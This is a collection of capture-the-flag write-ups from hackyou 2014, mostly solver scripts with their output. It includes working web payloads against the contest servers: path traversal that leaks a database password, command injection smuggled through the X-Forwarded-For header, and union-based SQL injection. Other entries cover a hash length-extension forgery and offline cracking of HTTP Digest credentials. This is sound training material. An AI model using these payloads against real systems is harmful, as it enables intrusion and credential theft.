# hackyou 2k14: Crypto - Hashme (200 points)

# cat crypto-200.py
#!/usr/bin/python

from base64 import b64encode
from base64 import b64decode
from math import sin
from re import search as rs
from socket import AF_INET, SOCK_STREAM, socket

B = 4096

def xor(a, b):
 return ''.join(map(lambda x : chr(ord(x[0]) ^ ord(x[1])), zip(a, b * 100)))

def hashme(s, A, B, C, D, j):
 def F(X,Y,Z):
  return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
 def G(X,Y,Z):
  return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
 def H(X,Y,Z):
  return (X ^ Y ^ Y) & 0xFFFFFFFF
 def I(X,Y,Z):
  return (Y ^ (~Z | X)) & 0xFFFFFFFF
 def ROL(X,Y):
  return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF

 X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]

 for i,ch in enumerate(s):
  k, l = ord(ch), (i + j) & 0x1f
  A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
  B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
  C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
  D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF

 return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))

def getcert(s):
 s.send('0\n')
 s.recv(B)
 s.send(login + '\n')
 resp = s.recv(B)
 pos = resp.find(':')
 return resp[pos+1:]

s = socket(AF_INET, SOCK_STREAM)
s.connect(('hackyou2014tasks.ctf.su', 7777))

login = 'a' * 100
for i in xrange(0,4):
 s.recv(B)
b64cert = getcert(s)
s.recv(B)
cert = b64decode(b64cert)
key = xor(cert, login).encode('hex')[12:]
search = key[0:4]
key = key[4:]
pos = key.find(search) - 12
first = key[pos:pos + 4]
last = key[pos - 4:pos]
key = key[pos:]
pos = key.find(last)
key = key[:pos + 4]

login = 'admin'
b64cert = getcert(s)
cert = xor(b64decode(b64cert), key.decode('hex'))
hash = cert[25:]
B = int(hash[0:8], 16)
A = int(hash[8:16], 16)
D = int(hash[16:24], 16)
C = int(hash[24:32], 16)

for j in xrange(0,32):
 res = s.recv(B)
 if res.find('CTF') != -1:
  print rs(r'CTF{.*}', res).group()
  break
 s.send('1\n')
 s.recv(B)
 h = hashme('&role=administrator', A, B, C, D, j)
 cert = b64encode(xor('login=' + login + '&role=anonymous&role=administrator' + h, key.decode('hex')))
 s.send(cert + '\n')
 s.recv(B)
s.close()
# ./crypto-200.py
CTF{40712b12d4be002e20f51424309a068c}

References

http://en.wikipedia.org/wiki/Length_extension_attack

# hackyou 2k14: Network - Jailbreaker (200 points)

There was a nice Christmas release from Evad3rs to jailbreak iOS 7, but it doesn't handle my Apple TV 3G!
Develop an Apple TV jailbreak real quick, and prove filesystem access by showing me any internal system binary from the latest firmware.

Send as attachment to net200@ctf.su
(and allow some time for manual check)

# wget http://appldnld.apple.com/iOS7/031-2705.20140120.R10Fe/com_apple_MobileAsset_SoftwareUpdate/3a1de804a6a9ef6d838654d27d3a8de36003773f.zip
# unzip 3a1de804a6a9ef6d838654d27d3a8de36003773f.zip
# find . -type f | grep replace
./payload/replace/private/etc/fstab

References

http://en.wikipedia.org/wiki/Delta_update
http://theiphonewiki.com/wiki/OTA_Updates

# hackyou 2k14: Web - Snake (200 points)

Using curl

# curl --silent --request POST --data 'login=web200&password=web200&submit=OK' http://hackyou2014tasks.ctf.su:20080/cgi-bin/register.pl
# curl --silent --cookie-jar web-200 --request POST --data 'login=web200&password=web200&submit=OK' http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl
# curl --silent --cookie web-200 --request GET http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=1.2.3.4
# curl --silent --cookie web-200 --request GET http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=../../index.pl
<!DOCTYPE html
 PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Personal Area</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<p>Hello, web200!</p><table border="1"><tr><th>Date</th> <th>Score</th></tr>#!/usr/bin/perl
use CGI;
use CGI::Session;
use DBI;
use Digest::MD5;

sub MD5 {
 $h = Digest::MD5->new;
 $h->add($_[0]);
 return $h->hexdigest;
}

sub Main {
 $title = "Personal Area";
 $req = new CGI;
 $db = DBI->connect("dbi:mysql:snake", "daniel", "E9nENHbtkG");
 if ($req->param('submit')) {
  $login = $req->param('login');
  $password = MD5($req->param('password'));
  $sth = $db->prepare("SELECT * FROM users WHERE login = ? AND password = ?");
  $sth->execute($login, $password);
  if ($sth->fetchrow_array()) {
   $session = new CGI::Session();
   $session->param('login', $login);
   print $session->header(-location=>'index.pl');
  } else {
   print $req->header();
   print $req->start_html($title);
   print $req->h1('Wrong login/password!');
   print $req->end_html();
  }
  exit;
 }

 $session = CGI::Session->load();
 if ($req->param('act') eq 'logout') {
  $session->delete();
        print $session->header(-location=>'index.pl');
        exit;
 } 

 print $req->header();
 print $req->start_html($title);
 if ($session->is_empty) {
  print $req->b('Auth please');
  print $req->startform;
  print $req->textfield(-name=>'login');
  print $req->br;
  print $req->textfield(-name=>'password');
  print $req->br;
  print $req->submit(-name=>'submit', -value=>'OK', -action=>"index.pl", -method=>"POST");
  print $req->endform;
  print $req->a({href => 'register.pl'}, "Register");
 } else {
  $login = $session->param('login');
  print $req->p('Hello, '.$login.'!');
  if ($req->param('ip')) {
   $file = './data/'.MD5($login)."/".$req->param('ip');
   if (-e $file) {
    open FILE, $file;
    $html = '';
    while (<FILE>) {
     $html .= $_;
    }
    close(FILE);
    print $req->start_table({border=>1}); 
    print $req->Tr($req->th(['Date', 'Score']));
    print $html;
    print $req->end_table(); 
    print $req->a({href=>'index.pl'}, 'Back');   
   } else {
    print $req->h1('Error');
   }
  } else {
   print $req->p('Here you can view information about your games from any IP');
   opendir DIR, './data/'.MD5($login);
   print $req->start_table({border=>1});
   while ($file = readdir(DIR)) {
    if ($file =~ m/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/) {
     print $req->Tr($req->td([$req->a({href => "index.pl?ip=".$file}, $file)]));
    }
   }
   print $req->end_table();
   print $req->br;
   print $req->a({href=>'index.pl?act=logout'}, 'Logout');
  }
 }
 print $req->end_html();
}

Main();
</table><a href="index.pl">Back</a>
</body>
</html>
# echo -n 'ls /' | xxd -p
6c73202f
# curl --silent --cookie web-200 --request POST --header 'X-Forwarded-For: |`echo -n 6c73202f | xxd -p -r`|' --data 'playerName=web200&playerScore=1&hash=a608555a0edc1aadefee6151550fa879' http://hackyou2014tasks.ctf.su:20080/cgi-bin/save.pl
# curl --silent --cookie web-200 --request GET 'http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=|`echo+-n+6c73202f+|+xxd+-p+-r`|' | grep CTF
CTF{d96ddaa29b5374317ec635db93a9f656}

Using python

# cat web-200.py
#!/usr/bin/python

from re import search
from requests import get, post
from sys import exit

URL = 'http://hackyou2014tasks.ctf.su:20080'

def statusexit(r, point):
 if r.status_code != 200:
  print r.status_code, point
  exit()

values = {
 'login'   : 'web200',
 'password': 'web200',
 'submit'  : 'OK'
}

r = post(URL + '/cgi-bin/register.pl', data = values)
statusexit(r, 'register')

r = post(URL + '/cgi-bin/index.pl', data = values)
statusexit(r, 'login')
 
cgisessid = r.cookies['CGISESSID']
cookies = {
 'CGISESSID': cgisessid
}
r = get(URL + '/cgi-bin/index.pl?ip=10.0.2.15', cookies = cookies)
statusexit(r, 'score')

r = get(URL + '/cgi-bin/index.pl?ip=../../index.pl', cookies = cookies)
statusexit(r, 'source')
#print r.text

headers = {
 'X-Forwarded-For': '|`echo -n 6c73202f | xxd -p -r`|'
}
values = {
 'playerName' : 'web200',
 'playerScore': 'web200',
 'hash'       : 'a608555a0edc1aadefee6151550fa879'
}
r = post(URL + '/cgi-bin/save.pl', cookies = cookies, headers = headers, data = values)
statusexit(r, 'save')

r = get(URL + '/cgi-bin/index.pl?ip=|`echo+-n+6c73202f+|+xxd+-p+-r`|', cookies = cookies)
statusexit(r, 'read')
print search(r'CTF{.*}', r.text).group()
# ./web-200.py
CTF{d96ddaa29b5374317ec635db93a9f656}

References

http://en.wikipedia.org/wiki/X-Forwarded-For
http://en.wikipedia.org/wiki/Local_File_Inclusion
http://www.ccsf.edu/Pub/Perl/perlfunc/open.html

# hackyou 2k14: Reverse - Newbie calculations (200 points)

# cat rev200.py
#!/usr/bin/python

N = 32

def print_flag(flag):
        f = ''
        for i in xrange(N):
                f += chr(flag[i])
        return f

def add(a, b): #sub_401000
        return a + b

def mul(a, b): #sub_401100
        return a * b

def sub(a, b): #sub_401220
        return a - b

'''
for ( i = 0; i < 32; ++i )
v117[i] = 1;
'''
flag = []
for i in xrange(N):
        flag.append(1)

'''
v0 = sub_401100(v117, 1000000000);
v1 = sub_401220(v0, 999999950);
sub_401100(v1, 2);
'''
flag[0] = mul(sub(mul(flag[0], 1000000000), 999999950), 2)

'''
v2 = sub_401000(&v118, 5000000);
v3 = sub_401220(v2, 6666666);
v4 = sub_401000(v3, 1666666);
v5 = sub_401000(v4, 45);
v6 = sub_401100(v5, 2);
sub_401000(v6, 5);
'''
flag[1] = add(mul(add(add(sub(add(flag[1], 5000000), 6666666), 1666666), 45), 2), 5)

'''
v7 = sub_401100(&v119, 1000000000);
v8 = sub_401220(v7, 999999950);
v9 = sub_401100(v8, 2);
sub_401000(v9, 2);
'''
flag[2] = add(mul(sub(mul(flag[2], 1000000000), 999999950), 2),2)

'''
v10 = sub_401000(&v120, 55);
v11 = sub_401220(v10, 3);
v12 = sub_401000(v11, 4);
sub_401220(v12, 1);
'''
flag[3] = sub(add(sub(add(flag[3], 55), 3), 4), 1)

'''
v13 = sub_401100(&v121, 100000000);
v14 = sub_401220(v13, 99999950);
v15 = sub_401100(v14, 2);
sub_401000(v15, 2);
'''
flag[4] = add(mul(sub(mul(flag[4], 100000000), 99999950), 2), 2)

'''
v16 = sub_401220(&v122, 1);
v17 = sub_401100(v16, 1000000000);
v18 = sub_401000(v17, 55);
sub_401220(v18, 3);
'''
flag[5] = sub(add(mul(sub(flag[5], 1), 1000000000), 55), 3)

'''
v19 = sub_401100(&v123, 1000000);
v20 = sub_401220(v19, 999975);
sub_401100(v20, 4);
'''
flag[6] = mul(sub(mul(flag[6], 1000000), 999975), 4)

'''
v21 = sub_401000(&v124, 55);
v22 = sub_401220(v21, 33);
v23 = sub_401000(v22, 44);
sub_401220(v23, 11);
'''
flag[7] = sub(add(sub(add(flag[7], 55), 33), 44), 11)

'''
v24 = sub_401100(&v125, 10);
v25 = sub_401220(v24, 5);
v26 = sub_401100(v25, 8);
sub_401000(v26, 9);
'''
flag[8] = add(mul(sub(mul(flag[8], 10), 5), 8), 9)

'''
v27 = sub_401000(&v126, 0);
v28 = sub_401220(v27, 0);
v29 = sub_401000(v28, 11);
v30 = sub_401220(v29, 11);
sub_401000(v30, 53);
'''
flag[9] = add(flag[9], 53)

'''
v31 = sub_401000(&v127, 49);
v32 = sub_401220(v31, 2);
v33 = sub_401000(v32, 4);
sub_401220(v33, 2);
'''
flag[10] = add(flag[10], 49)

'''
v34 = sub_401100(&v128, 1000000);
v35 = sub_401220(v34, 999999);
v36 = sub_401100(v35, 4);
sub_401000(v36, 50);
'''
flag[11] = add(mul(sub(mul(flag[11], 1000000), 999999), 4), 50)

'''
v37 = sub_401000(&v129, 1);
v38 = sub_401000(v37, 1);
v39 = sub_401000(v38, 1);
v40 = sub_401000(v39, 1);
v41 = sub_401000(v40, 1);
v42 = sub_401000(v41, 1);
v43 = sub_401000(v42, 10);
sub_401000(v43, 32);
'''
flag[12] = add(flag[12], 48)

'''
v44 = sub_401100(&v130, 10);
v45 = sub_401220(v44, 5);
v46 = sub_401100(v45, 8);
v47 = sub_401000(v46, 9);
sub_401000(v47, 48);
'''
flag[13] = add(add(mul(sub(mul(flag[13], 10), 5), 8), 9), 48)

'''
v48 = sub_401220(&v131, 1);
v49 = sub_401100(v48, -294967296);
v50 = sub_401000(v49, 55);
sub_401220(v50, 3);
'''
flag[14] = sub(add(mul(sub(flag[14], 1), -294967296), 55), 3)

'''
v51 = sub_401000(&v132, 1);
v52 = sub_401000(v51, 2);
v53 = sub_401000(v52, 3);
v54 = sub_401000(v53, 4);
v55 = sub_401000(v54, 5);
v56 = sub_401000(v55, 6);
v57 = sub_401000(v56, 7);
sub_401000(v57, 20);
'''
flag[15] = add(flag[15], 48)

'''
v58 = sub_401100(&v133, 10);
v59 = sub_401220(v58, 5);
v60 = sub_401100(v59, 8);
v61 = sub_401000(v60, 9);
sub_401000(v61, 48);
'''
flag[16] = add(add(mul(sub(mul(flag[16], 10), 5), 8), 9), 48)

'''
v62 = sub_401000(&v134, 7);
v63 = sub_401000(v62, 6);
v64 = sub_401000(v63, 5);
v65 = sub_401000(v64, 4);
v66 = sub_401000(v65, 3);
v67 = sub_401000(v66, 2);
v68 = sub_401000(v67, 1);
sub_401000(v68, 20);
'''
flag[17] = add(flag[17], 48)

'''
v69 = sub_401000(&v135, 7);
v70 = sub_401000(v69, 2);
v71 = sub_401000(v70, 4);
v72 = sub_401000(v71, 3);
v73 = sub_401000(v72, 6);
v74 = sub_401000(v73, 5);
v75 = sub_401000(v74, 1);
sub_401000(v75, 20);
'''
flag[18] = add(flag[18], 48)

'''
v76 = sub_401100(&v136, 1000000);
v77 = sub_401220(v76, 999999);
v78 = sub_401100(v77, 4);
v79 = sub_401000(v78, 50);
sub_401220(v79, 1);
'''
flag[19] = sub(add(mul(sub(mul(flag[19], 1000000), 999999), 4), 50), 1)

'''
v80 = sub_401220(&v137, 1);
v81 = sub_401100(v80, -294967296);
v82 = sub_401000(v81, 49);
sub_401220(v82, 1);
'''
flag[20] = sub(add(mul(sub(flag[20], 1), -294967296), 49), 1)

'''
v83 = sub_401220(&v138, 1);
v84 = sub_401100(v83, 1000000000);
v85 = sub_401000(v84, 54);
v86 = sub_401220(v85, 1);
v87 = sub_401000(v86, 1000000000);
sub_401220(v87, 1000000000);
'''
flag[21] = sub(add(sub(add(mul(sub(flag[21], 1), 1000000000), 54), 1), 1000000000), 1000000000)

'''
v88 = sub_401000(&v139, 49);
v89 = sub_401220(v88, 1);
v90 = sub_401000(v89, 2);
sub_401220(v90, 1);
'''
flag[22] = add(flag[22], 49)

'''
v91 = sub_401100(&v140, 10);
v92 = sub_401220(v91, 5);
v93 = sub_401100(v92, 8);
v94 = sub_401000(v93, 9);
sub_401000(v94, 48);
'''
flag[23] = add(add(mul(sub(mul(flag[23], 10), 5), 8), 9), 48)

'''
v95 = sub_401000(&v141, 1);
v96 = sub_401000(v95, 3);
v97 = sub_401000(v96, 3);
v98 = sub_401000(v97, 3);
v99 = sub_401000(v98, 6);
v100 = sub_401000(v99, 6);
v101 = sub_401000(v100, 6);
sub_401000(v101, 20);
'''
flag[24] = add(flag[24], 48)

'''
v102 = sub_401000(&v142, 55);
v103 = sub_401220(v102, 33);
v104 = sub_401000(v103, 44);
v105 = sub_401220(v104, 11);
sub_401000(v105, 42);
'''
flag[25] = add(sub(add(sub(add(flag[25], 55), 33), 44), 11), 42)

'''
sub_401000(&v143, v142);
'''
flag[26] = add(flag[26], flag[25])

'''
sub_401000(&v144, v129);
'''
flag[27] = add(flag[27], flag[12])

'''
v106 = v144;
v107 = sub_401220(&v145, 1);
v108 = sub_401000(v107, v106);
sub_401220(v108, 1);
'''
flag[28] = sub(add(sub(flag[28], 1), flag[27]), 1)

'''
v109 = v140;
v110 = sub_401220(&v146, 1);
v111 = sub_401100(v110, 1000000);
sub_401000(v111, v109);
'''
flag[29] = add(sub(flag[29], 1), flag[23])

'''
v112 = v144;
v113 = sub_401000(&v147, 1);
sub_401100(v113, v112);
'''
flag[30] = mul(add(flag[30], 1), flag[27])

'''
sub_401000(&v148, v147);
'''
flag[31] = add(flag[31], flag[30])

'''
sub_401D2B("Your flag is:");
((void (__cdecl *)(_DWORD, char))sub_401C7F)("CTF{", 1);
sub_401C7F("}\n");
'''
print 'Your flag is: CTF{' + print_flag(flag) + '}'
# ./rev200.py
Your flag is: CTF{daf8f4d816261a41a115052a1bc21ade}

# hackyou 2k14: PPC - Play with me (200 points)

# cat game.py
#!/usr/bin/python

from sys import argv, exit
from re import sub
from netlib import sc

def nextpos(r, c):
        if c < C - 1:
                c += 1
        elif r < R - 1:
                r += 1
                c = 0
        else:
                r += 1
        return r, c

def strike(board, row, column, solution, figures):
        b = board
        s = solution
        f = figures
        strike = False

        i = column
        left = [0, 0, 0]
        while left[2] == 0 and 0 < i <= column:
                i -= 1
                left[0] = row
                left[1] = i
                left[2] = b[row][i]

        i = column
        right = [0, 0, 0]
        while right[2] == 0 and column <= i < C - 1:
                i += 1
                right[0] = row
                right[1] = i
                right[2] = b[row][i]

        i = row
        up = [0, 0, 0]
        while up[2] == 0 and 0 < i <= row:
                i -= 1
                up[0] = i
                up[1] = column
                up[2] = b[i][column]

        i = row
        down = [0, 0, 0]
        while down[2] == 0 and row <= i < R - 1:
                i += 1
                down[0] = i
                down[1] = column
                down[2] = b[i][column]

        if left[2] != 0 and (left[2] == up[2] or left[2] == right[2] or left[2] == down[2]):
                b[left[0]][left[1]] = 0
                f -= 1
                strike = True

        if up[2] != 0 and (up[2] == right[2] or up[2] == down[2] or up[2] == left[2]):
                b[up[0]][up[1]] = 0
                f -= 1
                strike = True

        if right[2] != 0 and (right[2] == down[2] or right[2] == left[2] or right[2] == up[2]):
                b[right[0]][right[1]] = 0
                f -= 1
                strike = True

        if down[2] != 0 and (down[2] == left[2] or down[2] == up[2] or down[2] == right[2]):
                b[down[0]][down[1]] = 0
                f -= 1
                strike = True

        if strike:
                s.append((row, column))
                game(b, 0, 0, s, f)

def send(solution, board):
        global sc
        s = ''
        for coordinate in solution:
                s += '(' + str(coordinate[0]) + ',' + str(coordinate[1]) + ');'
        print s
        if sc.send(s + '\n') == False:
                exit()
        data = sc.recv(buffsize, timeout)
        print data
        exit()

def game(board, row, column, solution, figures):
        while row < R:
                #is solution
                if figures == 0:
                        send(solution, board);
                #is not a solution
                elif board[row][column] == 0:
                        strike(board, row, column, solution, figures)
                row, column  = nextpos(row, column)

def count(board):
        f = 0
        for r in board:
                for c in r:
                        if c != 0:
                                f += 1
        return f

buffsize = 4096
max_retries = 2
pause = 0.5
timeout = 2

ip = argv[1]
port = argv[2]

C = 10
R = 20
solution = []

sc = sc(ip, port, 'tcp')
if sc.connect(max_retries, pause):
        sc.recv(buffsize, timeout)
        data = sc.recv(buffsize, timeout)
        print data
        data = data[28:-15].split('\n')
        board = []
        for line in data:
                line = line[3:]
                line = sub(r"1b5b306d|1b5b|6d30", "", line.encode('hex'))
                line = sub(r"20", "0,", line)
                line = sub(r"3331", "1,", line)
                line = sub(r"3332", "2,", line)
                line = sub(r"3333", "3,", line)
                line = sub(r"3334", "4,", line)
                line = sub(r"3336", "6,", line)
                line = sub(r"3337", "7,", line)
                line = [ int(char) for char in line[:-1].split(',')]
                board.append(line)
        game(board, 0, 0, solution, count(board))
# ./game.py hackyou2014tasks.ctf.su 9876
   0123456789
  -----------
 0|   00 00
 1|  0 000
 2|0   0 0 0
 3|   00 00 0
 4|000   000
 5|     00000
 6| 0    000
 7|0 000   0
 8|0 00 0 00
 9|0 0  0 0 0
10|00 0 0 0
11|00000   0
12|0  0 0 0
13| 0  0000
14| 0 00 0  0
15| 0 00000
16|  0 0 0 0
17| 00 0 00 0
18|0 0    000
19|000  00  0
#############

(2,2);(2,3);(2,0);(2,2);(0,8);(3,3);(3,2);(3,3);(4,3);(1,3);(1,0);(1,0);(3,1);(0,9);(4,4);(4,5);(6,5);(6,1);(6,2);(7,2);(7,6);(6,8);(8,6);(9,1);(9,1);(5,0);(9,5);(9,0);(11,2);(11,2);(10,2);(11,4);(12,1);(12,6);(13,1);(13,4);(13,0);(14,0);(13,3);(14,8);(15,1);(16,2);(14,4);(17,5);(17,6);(17,1);(15,9);(15,7);(15,8);(16,9);
You win!
CTF{0a10f3f9e37d18c39e017ec8bbd5d2ea}

# hackyou 2k14: Crypto - Easy one (100 points)

# cat encryptor.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
        if (argc != 3) {
                printf("USAGE: %s INPUT OUTPUT\n", argv[0]);
                return 0;
        }
        FILE* input  = fopen(argv[1], "rb");
        FILE* output = fopen(argv[2], "wb");
        if (!input || !output) {
                printf("Error\n");
                return 0;
        }
        char k[] = "CENSORED";
        char c, p, t = 0;
        int i = 0;
        while ((p = fgetc(input)) != EOF) {
                c = (p + (k[i % strlen(k)] ^ t) + i*i) & 0xff;
                t = p;
                i++;
                fputc(c, output);
        }
        return 0;
}
# cat crypto.py
#!/usr/bin/python

data = open('msg001.enc', 'rb').read()
enc = []
for byte in data[:-1]:
        enc.append(ord(byte))
plain = 'Hi! This is only test message'
i = t = 0
key = ''
for e in enc:
        x = ord(plain[i])
        k = ((e - x - (i * i)) ^ t) & 0xff
        t = x
        key += chr(k)
        i += 1
print key
# ./crypto.py
VeryLongKeyYouWillNeverGuessV
# cat decryptor.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
        if (argc != 3) {
                printf("USAGE: %s INPUT OUTPUT\n", argv[0]);
                return 0;
        }
        FILE* input  = fopen(argv[1], "rb");
        FILE* output = fopen(argv[2], "wb");
        if (!input || !output) {
                printf("Error\n");
                return 0;
        }
        char k[] = "VeryLongKeyYouWillNeverGuess";
        char c, p, t = 0;
        int i = 0;
        while ((p = fgetc(input)) != EOF) {
                c = (p - (k[i % strlen(k)] ^ t) - i*i) & 0xff;
                t = c;
                i++;
                fputc(c, output);
        }
        return 0;
}
# gcc -o decryptor decryptor.c
# ./decryptor msg002.enc msg002
# cat msg002
The known-plaintext attack (KPA) is an attack model for cryptanalysis where the attacker has samples of both the plaintext (called a crib), and its encrypted version (ciphertext). These can be used to reveal further secret information such as secret keys and code books. The term "crib" originated at Bletchley Park, the British World War II decryption operation.
The flag is CTF{6d5eba48508efb13dc87220879306619}

# hackyou 2k14: Network - PCAP (100 points)

# tshark -V -r net100.pcap -R "frame.number==3" | grep Authorization | tr ',' '\n'
    Authorization: Digest username="admin"
 realm="Private Area"
 nonce="1389094144"
 uri="/auth.php"
 response="f86930f9e0466aeced34036bc2f7a346"
 opaque="8be5ca4697def50a128600e8f106efd5"
 qop=auth
 nc=00000001
 cnonce="347278e387a2f030"\r\n
# cat network.py
#!/usr/bin/python

from hashlib import md5

url = 'http://54.201.187.163'
username = 'admin'
realm = 'Private Area'
method = 'GET'
uri = '/auth.php'
nonce = '1389094144'
nc = '00000001'
cnonce = '347278e387a2f030'
qop = 'auth'
response = 'f86930f9e0466aeced34036bc2f7a346'

for password in open('rockyou.txt', 'r'):
   password = password.strip()
   ha1 = md5(username + ':' + realm + ':' + password).hexdigest()
   ha2 = md5(method + ':' + uri).hexdigest()
   res = md5(ha1 + ':' + nonce + ':' + nc + ':' + cnonce + ':' + qop + ':' + ha2).hexdigest()
   if res == response:
    print password
    import urllib2
    authhandler = urllib2.HTTPDigestAuthHandler()
    authhandler.add_password(realm, url + uri, username, password)
    opener = urllib2.build_opener(authhandler)
    urllib2.install_opener(opener)
    res = urllib2.urlopen(url + uri)
            print res.read()
    break
# ./network.py
cowboy123
CTF{6ee8014f5cc43767d03d97d6d73d9ed5}

# hackyou 2k14: Web - Voting (100 points)

# cat web.py
#!/usr/bin/python

import re, urllib, urllib2

def inject(hexid):
   url    = 'http://hackyou2014tasks.ctf.su:10080/index.php'
   values = {
    'id'    : hexid,
    'vote'  : '1',
    'submit': 'Submit'
   }
   data = urllib.urlencode(values)
   req  = urllib2.Request(url, data)
   res  = urllib2.urlopen(req)
   return res.read()

hexid  = '0x' + '100 union select group_concat(table_name) from information_schema.tables'.encode('hex')
print inject(hexid)
hexid  = '0x' + '100 union select group_concat(table_name) from information_schema.tables where table_name like \'f%\''.encode('hex')
print inject(hexid)
hexid  = '0x' + '100 union select group_concat(column_name) from information_schema.columns where table_name=\'Flag\''.encode('hex')
print inject(hexid)
hexid  = '0x' + '100 union select flag from Flag'.encode('hex')
print re.search(r'CTF{.*}', inject(hexid)).group()
# ./web.py
<p><b>Thank you!</b> Results:</p><table border="1"><tr><th>Logo</th><th>Total votes</th><th>Average</th></tr><tr><td>CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BUFFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPMEM,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,columns_priv,db,event,func,general_log,help_category,help_keyword,help_relation,help_topic,host,ndb_binlog_index,plugin,proc,procs_priv,proxies_priv,servers,slow_log,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user,cond_instances,events_waits_current,events_waits_history,events_waits_history_long,events_waits_summary_by_instance,events_waits_summary_by_thread_by_event_name,events_waits_su</td><td></td><td>0</td></tr></table><br><a href="index.php">Back</a><br>
<p><b>Thank you!</b> Results:</p><table border="1"><tr><th>Logo</th><th>Total votes</th><th>Average</th></tr><tr><td>FILES,func,file_instances,file_summary_by_event_name,file_summary_by_instance,Flag</td><td></td><td>0</td></tr></table><br><a href="index.php">Back</a><br>
<p><b>Thank you!</b> Results:</p><table border="1"><tr><th>Logo</th><th>Total votes</th><th>Average</th></tr><tr><td>flag</td><td></td><td>0</td></tr></table><br><a href="index.php">Back</a><br>
CTF{820178c33c03aaa7cfe644c691679cf8}

# hackyou 2k14: Reverse - NotEasyTask (100 points)

ILSpy decompilation
private static void Main(string[] args)
{
 string hostname = "127.0.0.1";
 int port = 31337;
 TcpClient tcpClient = new TcpClient();
 try
 {
  Console.WriteLine("Connecting...");
  tcpClient.Connect(hostname, port);
 }
 catch (Exception)
 {
  Console.WriteLine("Cannot connect!\nFail!");
  return;
 }
 Socket client = tcpClient.Client;
 string text = "Super Secret Key";
 string text2 = Program.read();
 client.Send(Encoding.ASCII.GetBytes("CTF{"));
 string text3 = text;
 for (int i = 0; i < text3.Length; i++)
 {
  char x = text3[i];
  client.Send(Encoding.ASCII.GetBytes(Program.search(x, text2)));
 }
 client.Send(Encoding.ASCII.GetBytes("}"));
 client.Close();
 tcpClient.Close();
 Console.WriteLine("Success!");

C:\> reverse100.exe (2)
C:\> nc -l 127.0.0.1 31337 (1)
CTF{7eb67b0bb4427e0b43b40b6042670b55}

# hackyou 2k14: PPC - Trash (100 points)

# cat decode-qr.py
#!/usr/bin/python
#-*- coding: utf8 -*-

from zbar import Image, ImageScanner
from Image import open as iopen
from glob import glob

f = open('my.zip', 'wb')
if f:
   scanner = ImageScanner()
   files = glob('*.png')
   files.sort()
   for file in files:
    print file
    pil = iopen(file).convert('L')
    w, h = pil.size
    image = Image(w, h, 'GREY', pil.tostring())
    scanner.scan(image)
    for symbol in image:
     if 'QRCODE' in str(symbol.type):
      f.write(symbol.data.decode('utf-8')[9:].encode('latin-1'))
   f.close()
else:
   print 'File error'
# ./decode-qr.py
# file='my.zip'; while [ true ]; do nfile=`unzip $file | grep inflating | awk '{print $2}'`; rm $file; file=$nfile; if [ `echo -n $file | wc -c` -ne 36 ]; then break; fi; done; echo $file
# cat decode-pickle.py
#!/usr/bin/python

from pickle import load
from sys import argv

pkl_file = open(argv[1], 'rb')
data = load(pkl_file)
for line in data:
   string = ''
   for char, count in line:
    string += char * count
   print string
# ./decode-pickle.py $file
CTF{a280fbc26d0781ce50d685a2a31295ab}